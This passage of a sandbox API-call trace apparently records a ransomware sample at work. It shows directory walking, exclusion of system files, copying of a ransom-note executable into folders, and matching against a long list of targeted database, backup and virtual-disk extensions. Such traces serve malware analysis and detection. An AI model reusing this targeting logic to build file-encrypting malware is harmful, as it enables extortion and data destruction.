lpFileSize=0x241e418*=1039208) returned 1 [0074.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.526] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.527] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.527] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.527] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfde70, lpName=0x0) returned 0x154 [0074.529] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfde70) returned 0x2d50000 [0074.573] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.574] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.574] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.575] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.584] CloseHandle (hObject=0x154) returned 1 [0074.584] CloseHandle (hObject=0x17c) returned 1 [0074.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.589] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0074.589] lstrcmpiW (lpString1="MEDIA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.589] lstrcmpiW (lpString1="MEDIA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.589] lstrcmpiW (lpString1="MEDIA", lpString2=".") returned 1 [0074.589] lstrcmpiW (lpString1="MEDIA", lpString2="..") returned 1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="windows") returned -1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="bootmgr") returned 1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="temp") returned -1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="pagefile.sys") returned -1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="boot") returned 1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="ids.txt") returned 1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="ntuser.dat") returned -1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="perflogs") returned -1 [0074.590] lstrcmpiW (lpString1="MEDIA", lpString2="MSBuild") returned -1 [0074.590] lstrlenW (lpString="MEDIA") returned 5 [0074.590] lstrcpyW (in: lpString1=0x241e89e, lpString2="MEDIA" | out: lpString1="MEDIA") returned="MEDIA" [0074.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b6d8 [0074.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53a0a0 [0074.590] lstrcatW (in: lpString1="MEDIA", lpString2="\\" | out: lpString1="MEDIA\\") returned="MEDIA\\" [0074.590] lstrcatW (in: lpString1="MEDIA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MEDIA\\HOW TO BACK YOUR FILES.exe") returned="MEDIA\\HOW TO BACK YOUR FILES.exe" [0074.590] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to back your files.exe"), bFailIfExists=1) returned 1 [0074.595] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2=".") returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="..") returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="windows") returned -1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="bootmgr") returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="temp") returned -1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="pagefile.sys") returned -1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="boot") returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="ids.txt") returned 1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="ntuser.dat") returned -1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="perflogs") returned -1 [0074.595] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="MSBuild") returned -1 [0074.595] lstrlenW (lpString="Microsoft.BusinessData.dll") returned 26 [0074.595] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.BusinessData.dll" | out: lpString1="Microsoft.BusinessData.dll") returned="Microsoft.BusinessData.dll" [0074.595] lstrlenW (lpString="Microsoft.BusinessData.dll") returned 26 [0074.595] lstrlenW (lpString="Athena865") returned 9 [0074.596] lstrcmpiW (lpString1="sData.dll", lpString2="Athena865") returned 1 [0074.596] lstrlenW (lpString=".dll") returned 4 [0074.596] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2=".dll") returned 1 [0074.596] lstrlenW (lpString=".lnk") returned 4 [0074.596] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2=".lnk") returned 1 [0074.596] lstrlenW (lpString=".ini") returned 4 [0074.596] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2=".ini") returned 1 [0074.596] lstrlenW (lpString=".sys") returned 4 [0074.596] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2=".sys") returned 1 [0074.596] lstrlenW (lpString="Microsoft.BusinessData.dll") returned 26 [0074.596] lstrlenW (lpString="bak") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0074.596] lstrlenW (lpString="ba_") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0074.596] lstrlenW (lpString="dbb") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0074.596] lstrlenW (lpString="vmdk") returned 4 [0074.596] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0074.596] lstrlenW (lpString="rar") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0074.596] lstrlenW (lpString="zip") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0074.596] lstrlenW (lpString="tgz") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0074.596] lstrlenW (lpString="vbox") returned 4 [0074.596] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0074.596] lstrlenW (lpString="vdi") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0074.596] lstrlenW (lpString="vhd") returned 3 [0074.596] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0074.596] lstrlenW (lpString="vhdx") returned 4 [0074.596] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0074.596] lstrlenW (lpString="avhd") returned 4 [0074.597] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0074.597] lstrlenW (lpString="db") returned 2 [0074.597] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0074.597] lstrlenW (lpString="db2") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0074.597] lstrlenW (lpString="db3") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0074.597] lstrlenW (lpString="dbf") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0074.597] lstrlenW (lpString="mdf") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0074.597] lstrlenW (lpString="mdb") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0074.597] lstrlenW (lpString="sql") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0074.597] lstrlenW (lpString="sqlite") returned 6 [0074.597] lstrcmpiW (lpString1="ta.dll", lpString2="sqlite") returned 1 [0074.597] lstrlenW (lpString="sqlite3") returned 7 [0074.597] lstrcmpiW (lpString1="ata.dll", lpString2="sqlite3") returned -1 [0074.597] lstrlenW (lpString="sqlitedb") returned 8 [0074.597] lstrcmpiW (lpString1="Data.dll", lpString2="sqlitedb") returned -1 [0074.597] lstrlenW (lpString="xml") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0074.597] lstrlenW (lpString="$er") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0074.597] lstrlenW (lpString="4dd") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0074.597] lstrlenW (lpString="4dl") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0074.597] lstrlenW (lpString="^^^") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0074.597] lstrlenW (lpString="abs") returned 3 [0074.597] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0074.597] lstrlenW (lpString="abx") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0074.598] lstrlenW (lpString="accdb") returned 5 [0074.598] lstrcmpiW (lpString1="a.dll", lpString2="accdb") returned -1 [0074.598] lstrlenW (lpString="accdc") returned 5 [0074.598] lstrcmpiW (lpString1="a.dll", lpString2="accdc") returned -1 [0074.598] lstrlenW (lpString="accde") returned 5 [0074.598] lstrcmpiW (lpString1="a.dll", lpString2="accde") returned -1 [0074.598] lstrlenW (lpString="accdr") returned 5 [0074.598] lstrcmpiW (lpString1="a.dll", lpString2="accdr") returned -1 [0074.598] lstrlenW (lpString="accdt") returned 5 [0074.598] lstrcmpiW (lpString1="a.dll", lpString2="accdt") returned -1 [0074.598] lstrlenW (lpString="accdw") returned 5 [0074.598] lstrcmpiW (lpString1="a.dll", lpString2="accdw") returned -1 [0074.598] lstrlenW (lpString="accft") returned 5 [0074.598] lstrcmpiW (lpString1="a.dll", lpString2="accft") returned -1 [0074.598] lstrlenW (lpString="adb") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0074.598] lstrlenW (lpString="adb") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0074.598] lstrlenW (lpString="ade") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0074.598] lstrlenW (lpString="adf") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0074.598] lstrlenW (lpString="adn") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0074.598] lstrlenW (lpString="adp") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0074.598] lstrlenW (lpString="alf") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0074.598] lstrlenW (lpString="ask") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0074.598] lstrlenW (lpString="btr") returned 3 [0074.598] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0074.598] lstrlenW (lpString="cat") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0074.599] lstrlenW (lpString="cdb") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0074.599] lstrlenW (lpString="ckp") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0074.599] lstrlenW (lpString="cma") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0074.599] lstrlenW (lpString="cpd") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0074.599] lstrlenW (lpString="dacpac") returned 6 [0074.599] lstrcmpiW (lpString1="ta.dll", lpString2="dacpac") returned 1 [0074.599] lstrlenW (lpString="dad") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0074.599] lstrlenW (lpString="dadiagrams") returned 10 [0074.599] lstrcmpiW (lpString1="ssData.dll", lpString2="dadiagrams") returned 1 [0074.599] lstrlenW (lpString="daschema") returned 8 [0074.599] lstrcmpiW (lpString1="Data.dll", lpString2="daschema") returned 1 [0074.599] lstrlenW (lpString="db-journal") returned 10 [0074.599] lstrcmpiW (lpString1="ssData.dll", lpString2="db-journal") returned 1 [0074.599] lstrlenW (lpString="db-shm") returned 6 [0074.599] lstrcmpiW (lpString1="ta.dll", lpString2="db-shm") returned 1 [0074.599] lstrlenW (lpString="db-wal") returned 6 [0074.599] lstrcmpiW (lpString1="ta.dll", lpString2="db-wal") returned 1 [0074.599] lstrlenW (lpString="dbc") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0074.599] lstrlenW (lpString="dbs") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0074.599] lstrlenW (lpString="dbt") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0074.599] lstrlenW (lpString="dbv") returned 3 [0074.599] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0074.599] lstrlenW (lpString="dbx") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0074.600] lstrlenW (lpString="dcb") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0074.600] lstrlenW (lpString="dct") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0074.600] lstrlenW (lpString="dcx") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0074.600] lstrlenW (lpString="ddl") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0074.600] lstrlenW (lpString="dlis") returned 4 [0074.600] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0074.600] lstrlenW (lpString="dp1") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0074.600] lstrlenW (lpString="dqy") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0074.600] lstrlenW (lpString="dsk") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0074.600] lstrlenW (lpString="dsn") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0074.600] lstrlenW (lpString="dtsx") returned 4 [0074.600] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0074.600] lstrlenW (lpString="dxl") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0074.600] lstrlenW (lpString="eco") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0074.600] lstrlenW (lpString="ecx") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0074.600] lstrlenW (lpString="edb") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0074.600] lstrlenW (lpString="epim") returned 4 [0074.600] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0074.600] lstrlenW (lpString="fcd") returned 3 [0074.600] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0074.601] lstrlenW (lpString="fdb") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0074.601] lstrlenW (lpString="fic") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0074.601] lstrlenW (lpString="flexolibrary") returned 12 [0074.601] lstrcmpiW (lpString1="nessData.dll", lpString2="flexolibrary") returned 1 [0074.601] lstrlenW (lpString="fm5") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0074.601] lstrlenW (lpString="fmp") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0074.601] lstrlenW (lpString="fmp12") returned 5 [0074.601] lstrcmpiW (lpString1="a.dll", lpString2="fmp12") returned -1 [0074.601] lstrlenW (lpString="fmpsl") returned 5 [0074.601] lstrcmpiW (lpString1="a.dll", lpString2="fmpsl") returned -1 [0074.601] lstrlenW (lpString="fol") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0074.601] lstrlenW (lpString="fp3") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0074.601] lstrlenW (lpString="fp4") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0074.601] lstrlenW (lpString="fp5") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0074.601] lstrlenW (lpString="fp7") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0074.601] lstrlenW (lpString="fpt") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0074.601] lstrlenW (lpString="frm") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0074.601] lstrlenW (lpString="gdb") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0074.601] lstrlenW (lpString="gdb") returned 3 [0074.601] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0074.602] lstrlenW (lpString="grdb") returned 4 [0074.602] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0074.602] lstrlenW (lpString="gwi") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0074.602] lstrlenW (lpString="hdb") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0074.602] lstrlenW (lpString="his") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0074.602] lstrlenW (lpString="ib") returned 2 [0074.602] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0074.602] lstrlenW (lpString="idb") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0074.602] lstrlenW (lpString="ihx") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0074.602] lstrlenW (lpString="itdb") returned 4 [0074.602] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0074.602] lstrlenW (lpString="itw") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0074.602] lstrlenW (lpString="jet") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0074.602] lstrlenW (lpString="jtx") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0074.602] lstrlenW (lpString="kdb") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0074.602] lstrlenW (lpString="kexi") returned 4 [0074.602] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0074.602] lstrlenW (lpString="kexic") returned 5 [0074.602] lstrcmpiW (lpString1="a.dll", lpString2="kexic") returned -1 [0074.602] lstrlenW (lpString="kexis") returned 5 [0074.602] lstrcmpiW (lpString1="a.dll", lpString2="kexis") returned -1 [0074.602] lstrlenW (lpString="lgc") returned 3 [0074.602] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0074.602] lstrlenW (lpString="lwx") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0074.603] lstrlenW (lpString="maf") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0074.603] lstrlenW (lpString="maq") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0074.603] lstrlenW (lpString="mar") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0074.603] lstrlenW (lpString="marshal") returned 7 [0074.603] lstrcmpiW (lpString1="ata.dll", lpString2="marshal") returned -1 [0074.603] lstrlenW (lpString="mas") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0074.603] lstrlenW (lpString="mav") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0074.603] lstrlenW (lpString="maw") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0074.603] lstrlenW (lpString="mdbhtml") returned 7 [0074.603] lstrcmpiW (lpString1="ata.dll", lpString2="mdbhtml") returned -1 [0074.603] lstrlenW (lpString="mdn") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0074.603] lstrlenW (lpString="mdt") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0074.603] lstrlenW (lpString="mfd") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0074.603] lstrlenW (lpString="mpd") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0074.603] lstrlenW (lpString="mrg") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0074.603] lstrlenW (lpString="mud") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0074.603] lstrlenW (lpString="mwb") returned 3 [0074.603] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0074.603] lstrlenW (lpString="myd") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0074.604] lstrlenW (lpString="ndf") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0074.604] lstrlenW (lpString="nnt") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0074.604] lstrlenW (lpString="nrmlib") returned 6 [0074.604] lstrcmpiW (lpString1="ta.dll", lpString2="nrmlib") returned 1 [0074.604] lstrlenW (lpString="ns2") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0074.604] lstrlenW (lpString="ns3") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0074.604] lstrlenW (lpString="ns4") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0074.604] lstrlenW (lpString="nsf") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0074.604] lstrlenW (lpString="nv") returned 2 [0074.604] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0074.604] lstrlenW (lpString="nv2") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0074.604] lstrlenW (lpString="nwdb") returned 4 [0074.604] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0074.604] lstrlenW (lpString="nyf") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0074.604] lstrlenW (lpString="odb") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0074.604] lstrlenW (lpString="odb") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0074.604] lstrlenW (lpString="oqy") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0074.604] lstrlenW (lpString="ora") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0074.604] lstrlenW (lpString="orx") returned 3 [0074.604] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0074.604] lstrlenW (lpString="owc") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0074.605] lstrlenW (lpString="p96") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0074.605] lstrlenW (lpString="p97") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0074.605] lstrlenW (lpString="pan") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0074.605] lstrlenW (lpString="pdb") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0074.605] lstrlenW (lpString="pdm") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0074.605] lstrlenW (lpString="pnz") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0074.605] lstrlenW (lpString="qry") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0074.605] lstrlenW (lpString="qvd") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0074.605] lstrlenW (lpString="rbf") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0074.605] lstrlenW (lpString="rctd") returned 4 [0074.605] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0074.605] lstrlenW (lpString="rod") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0074.605] lstrlenW (lpString="rodx") returned 4 [0074.605] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0074.605] lstrlenW (lpString="rpd") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0074.605] lstrlenW (lpString="rsd") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0074.605] lstrlenW (lpString="sas7bdat") returned 8 [0074.605] lstrcmpiW (lpString1="Data.dll", lpString2="sas7bdat") returned -1 [0074.605] lstrlenW (lpString="sbf") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0074.605] lstrlenW (lpString="scx") returned 3 [0074.605] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0074.606] lstrlenW (lpString="sdb") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0074.606] lstrlenW (lpString="sdc") returned 3 [0074.606] 